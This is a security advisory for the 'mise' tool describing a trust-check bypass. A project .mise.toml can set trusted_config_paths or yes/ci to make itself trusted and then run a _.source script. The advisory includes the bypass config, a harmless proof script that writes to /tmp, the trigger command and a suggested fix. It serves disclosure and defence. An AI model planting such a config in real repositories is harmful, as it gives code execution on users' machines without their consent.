GHSA-436v-8fw5-4mj8

### Summary

`mise` loads trust-control settings from a local project `.mise.toml` before the trust check runs. An attacker who can place a malicious `.mise.toml` in a repository can make that same file appear trusted and then reach dangerous directives such as `[env] _.source`, templates, hooks, or tasks.

The strongest current variant is `trusted_config_paths = ["/"]`. I confirmed on current `v2026.3.17` in Docker that this causes an untrusted project config to become trusted during `mise hook-env`, which then executes an attacker-controlled `_.source` script. The same preload issue also lets local `yes = true` / `ci = true` auto-approve trust prompts on `v2026.2.18+`, but the primary PoC below uses the stronger `trusted_config_paths` path.

### Details

The vulnerable load order is:

1. [`Settings::try_get()`](https://github.com/jdx/mise/blob/37997e70cd2216d1a86726fba0c8c09c3986ad06/src/config/settings.rs#L254-L283) preloads local settings files. 2. [`parse_settings_file()`](https://github.com/jdx/mise/blob/37997e70cd2216d1a86726fba0c8c09c3986ad06/src/config/settings.rs#L505-L510) returns `settings_file.settings` without checking whether the file is trusted. 3. [`trust_check()`](https://github.com/jdx/mise/blob/37997e70cd2216d1a86726fba0c8c09c3986ad06/src/config/config_file/mod.rs#L297-L321) later consults those already-loaded settings.

The main trust-bypass path is in [`is_trusted()`](https://github.com/jdx/mise/blob/37997e70cd2216d1a86726fba0c8c09c3986ad06/src/config/config_file/mod.rs#L324-L387):

```rust let settings = Settings::get(); for p in settings.trusted_config_paths() { if canonicalized_path.starts_with(p) { add_trusted(canonicalized_path.to_path_buf()); return true; } } ```

If a local project file sets:

```toml [settings] trusted_config_paths = ["/"] ```

then every absolute path matches, so the same untrusted file is marked trusted before the dangerous-directive guard is reached.

Related variant: [`trust_check()`](https://github.com/jdx/mise/blob/37997e70cd2216d1a86726fba0c8c09c3986ad06/src/config/config_file/mod.rs#L307-L316) auto-accepts explicit trust prompts when `Settings::get().yes` is true, and [`Settings::try_get()`](https://github.com/jdx/mise/blob/37997e70cd2216d1a86726fba0c8c09c3986ad06/src/config/settings.rs#L330-L332) sets `yes = true` when `ci` is set. I confirmed that regression on `v2026.2.18`, but the primary PoC below does not depend on it.

### PoC

Test environment:

- Docker - `linux-arm64` - `mise v2026.3.17`

Negative control:

```toml [env] _.source = ["./poc.sh"] ```

`mise ls` fails with:

```text Config files in /work/poc/.mise.toml are not trusted. ```

and `/tmp/mise-proof.txt` is not created.

Primary exploit:

```toml [settings] trusted_config_paths = ["/"]

[env] _.source = ["./poc.sh"] ```

with:

```bash #!/usr/bin/env bash echo trusted_paths_hookenv > /tmp/mise-proof.txt ```

Then:

```bash mise hook-env -s bash --force ```

Observed:

```text /tmp/mise-proof.txt => trusted_paths_hookenv ```

Related regression check:

- `v2026.2.17`: local `yes = true` does not bypass trust - `v2026.2.18`: the same local `yes = true` value auto-approves the trust prompt and the side effect file is created

### Impact

An attacker who can place a `.mise.toml` in a repository can make `mise` trust and evaluate dangerous directives from that same untrusted file.

Demonstrated on current supported versions:

- execution via `[env] _.source` during `mise hook-env` - bypass of the protection that `mise trust` is supposed to provide for dangerous config features

On newer versions, the same root cause also lets local `yes` / `ci` values auto-approve explicit trust prompts.

### Suggested Fix

Do not honor trust-control settings from non-global project config files.

At minimum, ignore these fields when loading local project config:

- `trusted_config_paths` - `yes` - `ci` - `paranoid`

For example:

```rust pub fn parse_settings_file(path: &Path) -> Result<SettingsPartial> { let raw = file::read_to_string(path)?; let settings_file: SettingsFile = toml::from_str(&raw)?; let mut settings = settings_file.settings;

if !config::is_global_config(path) { settings.yes = None; settings.ci = None; settings.trusted_config_paths = None; settings.paranoid = None; }

Ok(settings) } ```